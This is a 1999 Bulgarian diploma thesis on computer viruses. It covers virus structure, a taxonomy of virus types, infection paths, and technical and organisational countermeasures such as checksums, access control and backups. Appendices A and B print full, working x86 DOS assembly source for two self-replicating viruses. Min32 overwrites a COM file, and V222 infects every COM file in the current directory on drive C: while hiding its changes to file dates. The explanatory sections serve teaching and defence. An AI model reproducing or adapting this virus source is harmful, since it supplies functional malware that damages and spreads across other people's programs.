ТЕЕ "Мария С. Кюри" - Сливен

 

ДИПЛОМНА РАБОТА

на

Александър Олегов Станев

 

ТЕМА: Компютърни вируси. Методи за отстраняване на компютърни вируси

 

гр. Сливен

випуск 1999 г.

Ръководител:

/инж. Е. Бахнева/

 

1. Общи сведения за компютърните вируси

Терминът “вирус” идва от латински, означава “отровен сок” и е заимстван от биологията. Там с този термин се обозначават микроорганизми, които се прилепват по носителите на генния материал на живите клетки-стопани и го използват за своето размножаване. След определено време вирусът се активизира и болестта избухва.

Вирусологът Уинфрид Глейснър дава следното определение: “Под компютърен вирус… се разбира последователност от команди, чието изпълнение предизвиква репродуциране на копие или мутация от своя код, който се намира в определена област от паметта, и което не съдържа тази последователност. Този процес се нарича инфекция. Поредицата от команди може освен това минимално изискване за самовъзпроизводимост да активира и произволни други функции.”

Предполага се, че вирусът не е самостоятелна изпълнима програма. Поредицата от команди може да е написана на Асемблер, език от високо ниво, macro език или смесена форма, от което зависи и платформената съвместимост на вируса. Под копие се разбира точното възпроизвеждане на първоначалната поредица. Евентуална мутация може да съдържа възпроизводимостта, но може и да я отличава от оригинала. Областта от паметта може да бъде част от съдържанието на изпълним файл, респективно програма. Тази област се намира на външен носител, като дискета, твърд диск, CD и т.н., но може да бъде и част от оперативната памет на компютъра.

Възпроизводимостта предполага, че вирусът може да открива дали гореспоменатата област от паметта съдържа щам или самия вирус.

Функциите на вируса и това доколко той може да нанася щети зависи единствено от софтуерните и/или хардуерните ограничения на средата, в която работи.

 

2. Структура и видове вируси

2.1. Обща схема на компютърен вирус

Вирусна част

Задача на вируса
Разпознаване на вируса VirusID = ABCD
Копиране Търси се незаразена програма, ако се намери следва инфекция
Щети Подпрограма за нанасяне на щети
Преход Преход в началото на програмата домакин

 

Разпознаване на вируса. Чрез специален низ, наречен ключ, вирусът може да определи дали файлът е вече заразен. По този начин се избягва двойното заразяване.

Копираща част. Тази част на вируса търси незаразени области от паметта и се копира в програмата, подлежаща на заразяване. Тази програма може също да разпространява заразата.

Част за нанасяне на щети. При определени условия настъпва предвиденото действие.

Преход. След обработката на съответната част от командата вирусната програма се връща в началото на програмата домакин, за да може извиканата потребителска програма да започне работа.

Друго разделение може да бъде извършено в зависимост от:

  • Заразяващата част (разпознаване на вируса)
  • Тригер (решава дали е вирус или не)
  • Действие (разрушаваща част)

 

2.2. Вируси в зависимост от произхода

При разнообразието от вируси, срещани днес в персоналните компютри, не е възможно еднозначно да се класифицират всички известни и бъдещи вирусни типове. Преди всичко проблем е разпределението по ясни критерии. Една класификация би могла да бъде следната:

 

Какво се заразява от вируса?

  • Всички програмни файлове
  • Boot sector
  • Документи
  • Source файлове

 

Намира ли се вирусът в паметта?

  • Резидентни
  • Нерезидентни

 

Какъв е пътя за заразяване?

  • Файлови вируси
  • Boot loading
  • Троянски коне
  • Мрежови вируси

 

Освен по тази проста класификация вирусните типове се разбиват по така наречените вирусни родословни дървета. Протовирусът се обединява със своите известни наследници в един вид родословно дърво. Наследници на протовируса са вируси, които днес имат нови версии или произхождат от мутирали протовируси.

 

2.3. Видове вируси и пътища за инфектиране

За инфектиране са известни различни пътища. По-новите вируси не могат да бъдат еднозначно класифицирани в една категория, тъй като те като правило са смесица от различни видове.

 

2.3.1. Файлови вируси

Тези вируси се нуждаят от програми домакини. Подобно на биологичните вируси, които се размножават в определени клетки домакини, тези вируси могат да съществуват само в така наречения host-софтуер. За тази цел те използват стартируемите файлове. В отделни случаи според операционната система ролята на домакин може да играят overlay и рядко swap файлове.

Файловете с данни се нападат от малко вируси.

 

2.3.1.1. Презаписващи вируси

Това е най-простата форма на вирус. При тях първоначалната програма или част от нея се презаписват от вируса. По този начин се разрушава оригиналната функция на програмата. От гледна точка на автора на вируса това е недостатък, тъй като заразяването се открива твърде бързо. Така вирусите се откриват лесно и се изолират. Има обаче програми, които въпреки презаписването работят безупречно. Това се постига, като вирусът записва своя код не в началото на програмата домакин, а в малко употребявани части, например в подпрограмите за обработка на грешките. В този случай обаче вирусът трябва да познава точно заразяваната програма, което при стандартния софтуер не е проблем.

 

Оригинална програма
Вирус
Вирус Остатък от оригиналната програма

 

2.3.1.2. Непрезаписващи вируси

В противоположност на презаписващите вируси функцията на оригиналната програма остава запазена. Най-често кодът се прилепя към края на програмата. В случаите, когато вирус от този вид се копира в средата на програмата, първоначалната част на програмата домакин се копира в края. Всичко това се свързва със старата част посредством команди за преход.

След инфекцията се създава нов изпълним файл. При него най-напред се изпълнява вирусния код и чак тогава същинската програма.

 

Оригинална програма

Вирус

JMP преход

Оригинална програма

Вирус

 

2.3.1.3. Резидентни вируси

В противоположност на досега изброените вируси при резидентните е достатъчно те да бъдат извикани само веднъж. Такъв вирус остава активен до изключването на компютъра. Веднъж зареден, той се инсталира резидентен в оперативната памет. Това става чрез функциите на операционната система или на BIOS-a. Други видове заобикалят управлението на паметта и работят директно с MCB областите на операционната система.

Вирус, който използва техниката на прекъсванията, може да спре изпълнението на програмата и да се насочи към своя код. Той може, от една страна, да служи за разпространение, като заразява нови програми, и/или, от друга страна, за изпълнение на задачата си. След като кодът е обработен, програмата продължава нормалната си работа. Поради скоростта на съвременните компютри потребителят обикновено не забелязва нищо.

 

2.3.1.4. Call вируси

От гледна точка на създателя на вируси непрезаписващите вируси имат този недостатък, че при заразяването увеличават дължината на файла. Затова за тези вируси съществува опасността да бъдат открити прекалено бързо. Call вирусите записват манипулационния си код не изцяло в програмата домакин, а работят в подпрограми. Например те използват помощни и служебни процедури, стига те вече да се намират на диска. В заразената програма се записва команда за преход към вирулентния код.

Това улеснява прикриването на инфекцията, като някои Call вируси маркират определени сектори върху диска като физически повредени, като само вирусът знае, че тези сектори са нормални.

 

2.3.1.5. Stealth вируси

Тези вируси притежават някои специални техники за прикриване, което прави откриването им доста сложно. Някои вируси от този вид се разпространяват най-напред в компютърната система и по-късно се отдалечават самостоятелно, за да заразят нови програми. Други типове се репродуцират до един майчин вирус, за да могат след това да се активират. Стига се до създаването на вирусни семейства, елементите на които поединично не застрашават системата, но събрани заедно изграждат вируса-майка. Почти винаги кода на stealth вирусите е алгоритмично заключен, като шифърът се променя при всяка мултипликация на вирусния код. В допълнение на това някои резидентни stealth вируси употребяват защитни техники, които правят невъзможно конвенционалното търсене, като проверка на контролните суми. Те могат да се снемат от оперативната памет.

 

2.3.1.6. Други файлови вируси

Наред с изброените файлови вируси съществува и голямо количество от други файлови вирусни видове. Те също са смесени форми и се срещат доста по-рядко.

  • Compiler и Link вируси - Те използват друг метод за манипулация. Докато досега изброените видове нападаха само изпълними файлове, то тези нападат source кода. Затова и те са специализирани за точно определен програмен език и версия. Обикновено се гнездят в някоя от файловите библиотеки и при свързването се сглобява с останалите модули. Отстраняват се лесно, поради това, че се намира в отключен source код.
  • Source вируси – в същността си са идентични със compiler и link вирусите, но за разлика от тях се мултиплицират единствено и само директно в source кода на програмата. Поради същността си са приложими само за интерпретативните езици като Lisp, Prolog, XL…
  • XP и AI вируси – Хипотетичното им откриване става още през 1987. Свързани са с експертните системи от високо ниво и изкуствения интелект. Става дума за софтуер, който решава поставените му задачи не на основата на програмни процедури, а на база знания и логически механизъм за извличане на информация. В рамките на тези системи се приемат така наречените метаправила, които не оперират с помощта на файлове. Някои правила са в състояние да модифицират синтактично други правила. При определени обстоятелства може да се активира вирусен механизъм, който да прикачи своя вирулентен код към други правила. Този вид вируси не могат да повредят файловата система или да повлияят на хардуера на компютъра, но могат да изменят резултата, който експертната система връща, като по този начин да повлияе съдбоносно в определени ситуации.

 

2.3.2. Системни вируси

Системните вируси са особено коварни, тъй като се настаняват в паметта още при зареждането на операционната система. По този начин те имат възможност прилагат въздействието си върху всички действия на операционната система.

 

2.3.2.1. Boot sector вируси

Този вид вируси се активират след когато системния loader прочете boot сектора от външната памет и го изпълни. При опит за конвенционален достъп до boot сектора често се прилагат stealth техники и операцията бива пренасочена към предварително запазения оригинален boot record.

Към boot секторните вируси спадат и Partition table (MBR) вирусите. Разпространяват се само по твърдите дискове.

 

2.3.2.2.Вируси, нападащи командния интерпретатор

Тези вируси нападат програмата, която се грижи за потребителския интерфейс към операционната система. Тази част се нарича команден интерпретатор и служи за анализиране на въведените от потребителя команди и стартира съответните handler функции и процедури. Потребителя нормално няма възможност за контрол над приложенията преди зареждането на shell-а и следователно вирусът вече е зареден и има възможност да се прикрие. Затова при чистенето на този вид вируси е от изключителна важност да се разполага с гарантирано чисто копие на операционната система, под която работи компютъра.

 

2.3.3. Специални случаи

При следващите вируси става дума за видове, които по своите свойства не могат да бъдат причислени към горните категории. Различните операционни системи и специфичните хардуерни комбинации предлагат особени възможности за вирусните програми.

 

2.3.3.1. Stealth технология

Създателите на вируси винаги са се стремили да предпазят своите творения от идентифициране и елиминиране чрез антивирусни програми.

Най-простите методи за прикриване са блокирането на някои сектори, маркирани като физически повредени. По-сложните методи прилагат подобрени начини за маскиране, както и възможности за симулиране на неадекватни състояния. Тези прости средства за самозащита се реализират чрез допълнително включване на подпрограма за шифриране. Тя привежда преди активизиране шифрирания вирусен код в изпълнима форма. По този начин се затруднява идентифицирането от антивирусната програма, поради невъзможността да бъде открит явен отключен символен низ.

Върховите постижения засега включват динамична промяна на ключа, метода, дори и алгоритъма на шифроване и изпълнение на вирусната програма. Този процес се нарича мутиране на вирулентният код и прави почти невъзможно откриването и дезинфектирането. Всичко това в комбинация на антитрасиращи методи и наличието на голямо количество дезинформация, пренасяна и променяна динамично в кода на вируса го прави изключително опасен.

 

2.3.3.2. Live-and-Die и Seek-and-Hide вируси

Тук става дума за вирусни програми, които се задържат определено време в дадена програма или система и от време на време напускат нападнатия софтуер. Това ги прави особено коварни и трудни за откриване, но един път локализирани и проучени те се отстраняват лесно.

 

2.3.3.3. Драйверни вируси

Този тип вируси използват кода на драйверните програми за периферните устройства, за да се разпространяват оттам и върху други файлове. Те нямат разлика с обикновените файлови вируси и затова специално разграничение не е необходимо.

 

2.3.3.4. Mailbox вируси

Този вид вируси имат изграден афинитет към мрежовите daemon-и, по-специално към тези, отговарящи за електронната поща. Веднъж заразени, всяка програма пренесена през тях бива заразена и чак тогава се пренася по трасето. Трябва да се обърне внимание на това, че се заразява както изходния, така и входния трафик.

 

2.3.3.5. Троянски коне и логически бомби

За разлика от компютърните вируси, на троянските коне не е нужна програма-домакин, те самите са самостоятелно приложение. Веднъж изпълнени, те изкривяват нужните им системни функции към свои собствени handler-и. Забавят локалния компютър и имат всички странични ефекти и проявления на вирусите. Проблемът при тях идва ако компютърът е включен в мрежа от локален или глобален тип. Има троянски коне, които отварят специална мрежова услуга, която може да се използва от недобросъвестни потребители за достъп до машината от разстояние. В зависимост от хардуерните възможности на системата и софтуерните възможности на троянския кон е възможно дори подслушване на разговорите и запис на обстановката в реално време на мястото, на което се намира компютъра. Често срещана е и комбинация на троянски кон и вирус, поради което антивирусните програми сканират и за този вид програми.

Логическите бомби са специален вид троянски коне, които се активират в точно или приблизително определен момент от време или изпълнението на някакво външно условие.

 

2.4. Пътища за инфектиране

Вирусът може да избере много начини за падение на компютърната система. Възможните методи са следните:

  • Стартиране на заразена програма пренесена чрез външен носител – дискета, rack диск, zip устройства и др.
  • Стартиране на заразена програма по мрежата или пренасянето й чрез някоя друга мрежова услуга като електронна поща и др.
  • Опит за зареждане на операционната система от заразен boot сектор
  • Вирусния код се програмира директно локално на конзолата и се компилира и изпълнява на системата
  • Използване на хардуер, съдържащ заразен системен firmware.

 

2.4.1. Внасяне на протовируса

Внасянето на протовируса като първоначално заразяване на програма става на няколко стъпки. Предполага се, че програмистът вече е съставил вирусния код. При файловите вируси трябва да е изпълнено следното:

  • Най-напред програмистът трябва да инсталира своя вирусен код в някоя програма. По възможност той избира популярен или интересен софтуер, за да ускори разпространението.
  • Заразената програма се извиква от програмиста или от друг потребител.
  • Вирусът открива и заразява други програми, до които има достъп. Това действие на вируса обикновено не прави впечатление на потребителя, защото продължава за части от секундата.
  • Заразената програма след това се пренася по различни пътища и начини.

 

2.4.2. Разпространение на вируси

Разпространението на вируса може да се осъществи по два начина – активно и пасивно. При активното разпространение потребителя A е предал на потребителя B една заразена програма. При това се заразява файловия хедър на B, тъй като вирусът при изпълнението си се копира най-малко в една друга програма. Този процес се обозначава като активно разпространение. Потребителят A сам е създал предпоставка за инфекция на своите файлове.

При пасивното разпространение можем да си представим следния процес: потребителят B иска да употреби софтуер на A. A му дава програмата и B я стартира на своята система. Ако програмата е била заразена, то отново B ще бъде инфектиран, но този път пасивно, защото вирусът е нямал участие със собствени процедури при пренасянето си.

Двата метода показват, че разпространението на вирусите става най-често чрез размяна или предаване на програми.

 

3. Мерки за ограничаване на компютърните вируси

В днешно време е от изключителна важност предприемането на защитни мерки за борба с компютърните вируси. Независимо дали става въпрос за системи, касаещи националната сигурност или обикновен домашен компютър, правилата за защита от вирусни инфекции трябва да бъдат спазвани до най-малките подробности.

Обикновено пътищата, по които се предават вируси са два: чрез използване на заразени външни носители на информация и чрез софтуер, придобит чрез световната мрежа Internet.

 

3.1. Технически предпазни мерки

От абсолютна необходимост е наличието на добра и най-вече скорошно обновена антивирусна програма, с която да може да се открие и отстрани вируса. Повечето съвременни антивирусни програми са в състояние да работят в реално време в background режим, докато потребителя работи с нужната му програма. Това става за сметка на скоростта и производителността на компютърната система, но при съвременното равнище на техниката е напълно постижимо. В мрежова среда съществуват повече възможности за вирусна инфекция, но също така и повече начини и средства, чрез които тя може да се контролира и унищожи.

Превантивните противомерки и средства за борба са скъпи способи. Те са реализируеми изключително само върху закупени допълнителни продукти. Тези допълнителни продукти и средства трябва да бъдат изследвани за надеждност при премахването и потушаването на вирусите. Те се прилагат и срещу други аномалии по компютрите.

 

3.1.1. Програми за контрол на достъпа

Целта на тези продукти е да се гарантира, че върху системата могат да работят само тези потребители, чиято самоличност е известна на системата. Освен това те трябва да разрешават достъпа до чувствителни файлове само въз основа на установената идентичност на определен кръг от потребители. Така система за контрол може да бъде реализирана както софтуерно, така и в комбинация от хардуер и софтуер.

И при двете форми принципът на работа е еднакъв:

  • В рамките на контрола по достъпа от потребителя се изисква да въведе парола.
  • В по-новите средства усилено се използват хардуерни модули. Идентичността се проверява допълнително чрез проверка на вторични осигурителни устройства (магнитни, smart или CID карти) или биологични признаци на потребителя.
  • В зависимост от разпознатата от системата идентичност се определят правилата за достъп. Всички файлове са регистрирани в специална база данни, в която са зададени правилата за достъп. Те се проверяват при всяка операция, извършена от потребителя.

Отказаните неразрешени опити за достъп или промяна на правата за достъп автоматично се протоколират в отделен файл за проверка или доказателство.

Освен тези функции много продукти предлагат и други възможности. Така например може да се забрани стартирането на операционната система от дискета или пък на различните потребители да се предоставят ограничени области от операционната система, така, че да могат да бъдат изпълнявани само определени команди. Макар че тези продукти са предвидени срещу опити за манипулации от страна на нямащи права личности, те могат да бъдат използвани срещу вирусни програми.

Чрез регламентирането на достъпа до компютъра и файловете се повишава прегледността на извършваните върху компютъра процеси. Нежеланите действия могат да бъдат винаги реконструирани. Това повишава прага за изпълнение на нежелани действия като например внасянето на чужд софтуер. Освен това определена група потребители могат да бъдат изключени от оценяваните като критични операции, например да се забрани достъпът до флопидисковите устройства. По този начин може ефективно да се редуцира възможността за внасяне на вирус.

Въпреки очевидните предимства тези мерки имат и известни недостатъци. Наистина чрез регламентирането на обхвата от команди и на достъпа се ограничава изпълнението на критични операции като въвеждане на данни от тесен кръг потребители. Неволното вкарване на вирус при въвеждането на данни от оторизирани групи от потребители обаче не може да бъде пресечено. Само разделянето на отделни потребителски области и издаването на права на достъп е в състояние да подтисне вирусни инфекции. Разделянето на програми и данни предлага на вирусните програми възможността да се разпространяват в програмите на текущо раздадените права за достъп. Ако системите разполагат с такъв вид протоколиране, който регистрира отказаните права за достъп и запис, то това може да се използва като индикатор на вирусната активност в системата.

Много от разпространените програми обаче не представляват непреодолима пречка пред специалиста. Хардуерните компоненти могат да бъдат демонтирани, а защитата на софтуера също може да бъде заобиколена. За непосветения потребител обаче неконтролираният достъп и оттам и възможността за манипулации е забранен.

 

3.1.2. Програми за заключване

Програмите от този вид преследват целта да се ограничи несанкционираният достъп, респективно промяната в съдържанието на файлове. Това се отнася до изпълнението на програми, които са записани на външни носители в заключено състояние. Алгоритмите за заключване на различните програми са от различен вид и качество. По-простите и често най-евтини начини използват прости XOR проверки с предварително зададени думи. Предлагат се също продукти, които използват много по-сложни начини като RSA, BlowFish и RC5 за заключване в хардуерна или софтуерна реализация.

Предимството, което дава заключването на данните по отношение на сигурността е очевидно. Потребителите, които не разполагат със съответния ключ за дешифриране на закодираната информация са ефективно изключени от използването на тези данни. Стойността на заключването на един байт предполага употребата на смислен алгоритъм за заключване. Чрез добри методи за шифроване може да се попречи на различни опити за манипулации върху заключените файлове и програми като изтриване, промяна или добавяне.

За да може да се работи със заключените файлове, те трябва да се обработват в разкодиран вид и след успешната промяна да се трансформират отново в заключен вид. Това предполага познаване на използвания ключ. Следователно заключващите програми могат да се използват също и срещу вируси. Вирус, който търси потенциална програма-стопанин не по разширение, а по съдържащ се в кода признак, не може да зарази файл в заключен вид.

Програмни вируси, които при търсенето на домакин се ориентират по разширението на файла, могат да нападат записани върху диска програми в заключен вид. В процеса на инфектиране те не могат да определят дали файлът е заключен или не, затова те се закачат със своя чист код. Файлът обаче, преди използването се разкодира. При това алгоритъмът за отключване се прилага и върху незаключения вирусен код. Това води със сигурност до неговото разрушаване. При тези условия вирусната инфекция може да бъде открита своевременно.

Тук възниква проблема за разхода ма машинно време. Ако при шифрирането се използват прости методи и те могат да бъдат разкрити за кратко време, то такива програми са безполезни. Ако са използвани сложни алгоритми за кодиране, особено при чисто софтуерна реализация, се стига до значителни загуби в бързодействие.

 

3.1.3. Програми за контрол на активността

Под контрол на активността се разбира проследяване с помощта на операционната система или чрез специална резидентна background програма на допустимите прекъсвания по време на нейното изпълнение.

Контролната програма се вмъква между операционната система и програмата, която се изпълнява, като наблюдава и анализира заявките за изпълнение на функции и прекъсвания на приложната програма към операционната система. Предават се само тези заявки, които не нарушават сигурността, а другите се индицират и подават към потребителя.

Особено важно, а и в много случаи и много трудно, е да се степенуват действията на съмнителни и нерисковани. Фалшивите съобщения правят след време потребителя нечувствителен към предупрежденията.

 

3.1.4. Алгоритми за проверка на контролните суми

В тясна връзка с алгоритмите за контролни суми е терминът “сигниран софтуер”. За избягване на манипулациите се използват контрамерки, при които с помощта на хаш-функция или на контролна сума от файла се извлича едно число. Тази функция се постига с помощта на дигитална сигнатура, т.е. на един вид шифриране, така, че не могат да бъдат правени промени във въпросния файл. Всяка промяна може да бъде открита чрез промяната на закодираната сигнатура. Тези противомерки намират приложение в ограничена форма в алгоритмите за проверка на контролната сума.

Продуктите от този тип се грижат за разпознаването и алармирането при произволни манипулации по състоянието на файловете. Предлаганите на пазара продукти се различават не толкова по начина на работа, съставянето и следващата проверка на контролните суми, колкото по начина на образуване на контролните суми, наречени CRC (Cyclic Redundancy Check). Свободно преведено това са криптографски шифриращи програми, различаващи се по своите параметри. За образуването на сигнатурата могат да се въвлекат редица параметри, но за да се получи различаваща се сума при минимални промени, трябва да се получи различаваща се сума при минимални промени, трябва да се вземат предвид в алгоритъма следните фактори:

  • Съдържание на файла
  • Дължина на файла
  • Дата и час на последната актуализация
  • Файлови атрибути
  • Адрес на файла в диска

С тези или други параметри (в зависимост от алгоритъма) за всеки файл се получава уникална контролна сума. Тя се записва във външния носител, например на дискета. При периодичното повтаряне на този процес записаните суми се сравняват с новоизчислените. Всяка промяна на контролната сума указва еднозначно за модификация на файла.

По този начин това може да се използва като индикатор на вирусна инфекция. Със заразяването на файла винаги е свързана промяна в гореизброените параметри.

Слабите места на този метод са следните:

  • Успехът на тази мярка зависи от избрания начин на образуване на контролната сума
  • Необходимото време
  • Относително простата концепция, която може да бъде разкрита с поносими разходи
  • Липсващият на почти всички продукти цифров метод за шифриране на контролната сума. При много продукти възпрепятстването на манипулацията на контролната сума се постига чрез физическо копиране на установените суми върху външен носител
  • Времевите интервали за повторение на проверката. Необходима е еднократна проверка на състоянието на определен интервал от време. Отпада проверката всеки път при използването на компютъра поради големия разход на време. Интервалът между периодичните проверки не трябва да е много голям, за да може манипулацията да се открие своевременно.

В борбата срещу вирусите въпреки изброените недостатъци могат да се постигнат значими успехи. Тъй като вирусът винаги предприема промени във файловете, то съществуването му може да се открие с помощта на този вид програми. Изключение правят stealth вирусите, които могат да замаскират присъствието си, като по този начин може да се получи коректна контролна сума.

 

3.1.5. Proxy технология

Този метод може да се прилага единствено в локални LAN и неголеми WAN мрежи. Основава се на така наречения gate достъп, според който целия мрежов трафик минава през специален сървър, наречен proxy. Там се извършват проверки свързани със сигурността и защитата на информацията, включително и проверка за вируси по метода на вирусните сигнатури.

Този начин за ограничаване на вирусната инфекция е особено ефективен, но е от абсолютна наложителност наличието на високотехнологичен и най-вече бърз proxy сървър, за да няма забавяне на мрежовия трафик. Това зависи и от броя на клиентите и от наличието на други services, които биват обслужвани.

 

3.2. Организационни предпазни мерки

Тези мерки се отнасят непосредствено до потребителя, персонала и боравенето със системата. Те могат да бъдат реализирани относително просто. Всяка смислена организационна мярка, насочена към защитата на данните, снижава вероятността за вирусна атака.

 

3.2.1. Информиране и обучение на сътрудниците

Предпоставка за ефикасността на предприетите предпазни мерки е добрата информираност на работещия с информационнотехническите средства персонал. Трябва да бъдат обяснени признаците и типичните симптоми на вирусната атака, за да се гарантира известна чувствителност на персонала относно тази проблематика. Това може да бъде реализирано на съвещания и презентации или с помощта на информационни бюлетини. На специални съвещания и семинари трябва да бъдат обучени всички, отговарящи за сигурността на данните – пълномощници по сигурността и супервайзори.

 

3.2.2. Съставяне на аварийни планове

В тези планове се взема предвид възможността за зараза на системата. Трябва да се очертаят насоките за действие и указания за тези случаи. Те определят най-добрите начини за поведение в случай на инфекция. Необходимо е определянето на точните времеви интервали, за които системата ще бъде неизползваема и евентуалните загуби, които ще бъдат причинени.

 

3.2.3. Архивиране на данни

Абсолютно наложително е последователното запазване на архивни копия на данните, със цел бързото възстановяване при една евентуална загуба на информация.

Важно е данните да бъдат архивирани разделно от изпълнимия софтуер, за да се минимизира повторното пускане на вируса при възстановяване.

 

Приложение А

;Име: Min32

;Описание: Един от най-кратките вируси за платформа Intex x86.

; Презаписва началните 32 байта на първия COM файл,

; намерен от DOS функцията FindFirst. Работи под ДОС

 

min32seg segment byte public

assume cs:min32seg, ds:min32seg

 

org 100h

 

mov ah,4Eh

mov dx,offset FileMask

int 21h ;Търсене на първия COM файл

 

mov dx,9Eh

mov ax,3D02h

int 21h ;Отваряне на файла за запис

 

xchg bx,ax

mov cl,20h ;Дължина на вируса

mov dx,100h

mov ah,40h

int 21h ;Презаписване на началото а вируса

FileMask db '*.COM',0

min32seg ends

 

Приложение Б

;-----------------------------------------------------------------------------;

; ;

; V222 ;

; ;

; ;

; ДЕЙСТВИЕ: ;

; При стартиране на заразен файл вирусът претърсва текущата директория и ;

; заразява всички .COM файлове. ;

; ;

; ОСОБЕНОСТИ: ;

; Вирулентният код се записва в началото на заразения файл. Организира се ;

; собствена процедура за обработка на критични грешки (през вектор DOS 24h).;

; Датата и часа на заразеният файл не се променят. ;

; ;

; ЗАБЕЛЕЖКА: ;

; Тази компютърна програма е предназначена за образователни цели! ;

; Авторът не носи отговорност за всички реални и/или въображаеми щети, ;

; нанесени от софтуера, вследствие на неправилното му използване! ;

;-----------------------------------------------------------------------------;

 

.model Tiny

.code

 

 

VirLen = 222

NewId = offset Mark - 100h

 

;-----------------------------------------------------------------------------;

 

ORG 0D0h

 

INT24 dw ? ; Тук ще бъде насочен вектор 24h.

INT24a db ?

 

NewDTA db 15h dup (?) ; Структура на DTA.

FAttr db ?

FTime dw ?

FDate dw ?

FLen dw ?, ?

FName db 0Dh dup (?)

 

;-----------------------------------------------------------------------------;

 

ORG 100h

 

Start:

push ax

 

mov INT24,3B0h ; Нов вектор 24h : mov al,03

mov INT24a,0CFh ; iret

 

mov ax,2524h

mov dx,offset INT24

int 21h ; Пренасочва вектора 24h.

 

mov ah,19h

int 21h ; Иска от ДОС текущото устройство.

push ax ; Запазва текущото устройство.

 

 

mov ah,0Eh

mov dl,02h

int 21h ; Сменя текущото устройство на C:

 

mov ax,cs

add ah,10h

mov es,ax ; ES = CS + 64KBytes

mov si,offset Start

xor di,di

mov cx,VirLen ; Прехвърля кода на вируса 64KBytes

rep movsb ; по-нагоре в паметта.

 

mov dx,offset NewDTA ; Поставя DTA на нов адрес.

mov ah,1Ah

int 21h

 

 

;...... Започва търсене на файлове за заразяване.

 

mov dx, offset AllCom ; Търси всички '*.COM' файлове.

mov cl,110B

mov ah,4Eh ; Извиква Find First.

int 21h

jc Done ; Продължава нататък при липса на

; файлове за заразяване.

FindNext:

 

mov dx,offset Fname ; В dx адреса на името на файла от DTA.

mov ax,3D02h ; Отваря файла за запис/четене.

int 21h

 

mov bx,ax ; Запазва номера на отворения файл.

 

push ds ; Запазва DS.

 

push es

pop ds ; Прочита се целия файл на адреса-DS:DX

mov dx,VirLen ; DS = CS + 64KBytes

mov cx,0FFFFh ; DX = дължината на вируса

mov ah,3Fh ; Там се намира вируса,а сега след него

int 21h ; и файлът.

 

add ax,VirLen ; Увеличава дължината на файла(AX) с

mov si,ax ; дължината на вируса и я запазва в SI.

 

cmp Word ptr ds:[NewId+VirLen],'TT' ; Дали файлът е заразен вече ?

je Close

 

xor cx,cx

xor dx,dx

mov ax,4200h ; Премества се указателя на файла в

int 21h ; началото му.

 

mov cx,si

mov ah,40h ; От адреса DS:DX се записва на диска

int 21h ; вирус + файл

 

mov cx,cs:FTime

mov dx,cs:FDate

mov ax,5701h ; Възстановяват се датата и времето на

int 21h ; заразявания файл от DTA.

 

Close:

pop ds ; Възстановява DS.

 

mov ah,3Eh ; Затваря файла.

int 21h

 

mov ah,4Fh

int 21h ; Извиква Find Next,

jnc FindNext ; ако има още файлове всичко се повтаря

; и за тях.

Done:

mov dx,offset Warn_

mov ah,09h

int 21h ; Извежда предупредителното съобщение

mov dx,80h

mov ah,1Ah

int 21h ; Възстановява се стария адрес на DTA.

 

pop dx

mov ah,0Eh

int 21h ; Възстановява се текущия заварен диск.

 

;....... Начало на стартиране на програмата към която е закачен вируса.

 

mov si,offset TransF

mov cx,offset EndCode - offset Transf

xor di,di ; Копира 64KBytes по-нагоре една

rep movsb ; спомагателна част, използван по-долу.

 

pop bx ; Възстановява съдържанието на AX в BX.

 

push es

push cx

RETF ; Отива на адрес ES:00

 

;...........................................

; Маркировка за разпознаване

Mark db 'TT' ; на заразени файлове.

AllCom db '*.COM',0 ; Маска за търсене на COM файлове.

Warn_ db 'This is VIRUS!',13,10,'$' ; Предупреждаващо съобщение.

;..........................................;

 

TRansF:

push ds

pop es

 

mov si,offset EndCode

mov di,offset Start

dec cx

sub cx,si ; Смъква кода на програмата започващ

rep movsb ; непосредствено след вируса с 100h байта

; надолу.

push ds

mov ax,100h

push ax

 

mov ax,bx ; Възстановява съдържанието на AX.

 

RETF ; Предава управлението на програмата

; на адрес DS:100h.

;-----------------------------------------------------------------------------;

EndCode:

int 20h ; От тук започва заразената програма

 

End Start

Съдържание

1. Общи сведения за компютърните вируси 2

2. Структура и видове вируси 4

2.1. Обща схема на компютърен вирус 4

2.2. Вируси в зависимост от произхода 5

2.3. Видове вируси и пътища за инфектиране 6

2.3.1. Файлови вируси 6

2.3.1.1. Презаписващи вируси 6

2.3.1.2. Непрезаписващи вируси 7

2.3.1.3. Резидентни вируси 7

2.3.1.4. Call вируси 8

2.3.1.5. Stealth вируси 8

2.3.1.6. Други файлови вируси 9

2.3.2. Системни вируси 10

2.3.2.1. Boot sector вируси 10

2.3.2.2. Вируси по командния интерпретатор 11

2.3.3. Специални случаи 11

2.3.3.1. Stealth технология 11

2.3.3.2. Live-and-Die и Seek-and-Hide вируси 12

2.3.3.3. Драйверни вируси 12

2.3.3.4. Mailbox вируси 13

2.3.3.5. Троянски коне и логически бомби 13

2.4. Пътища за инфектиране 14

2.4.1. Внасяне на протовируса 14

2.4.2. Разпространение на вируси 15

3. Мерки за ограничаване на компютърните вируси 16

3.1. Технически предпазни мерки 16

3.1.1. Програми за контрол на достъпа 17

3.1.2. Програми за заключване 19

3.1.3. Програми за контрол на активността 21

3.1.4. Алгоритми за проверка на контролните суми 21

3.1.5. Proxy технология 23

3.2. Организационни предпазни мерки 24

3.2.1. Информиране и обучение на сътрудниците 24

3.2.2. Съставяне на аварийни планове 25

3.2.3. Архивиране на данни 25

|Назад|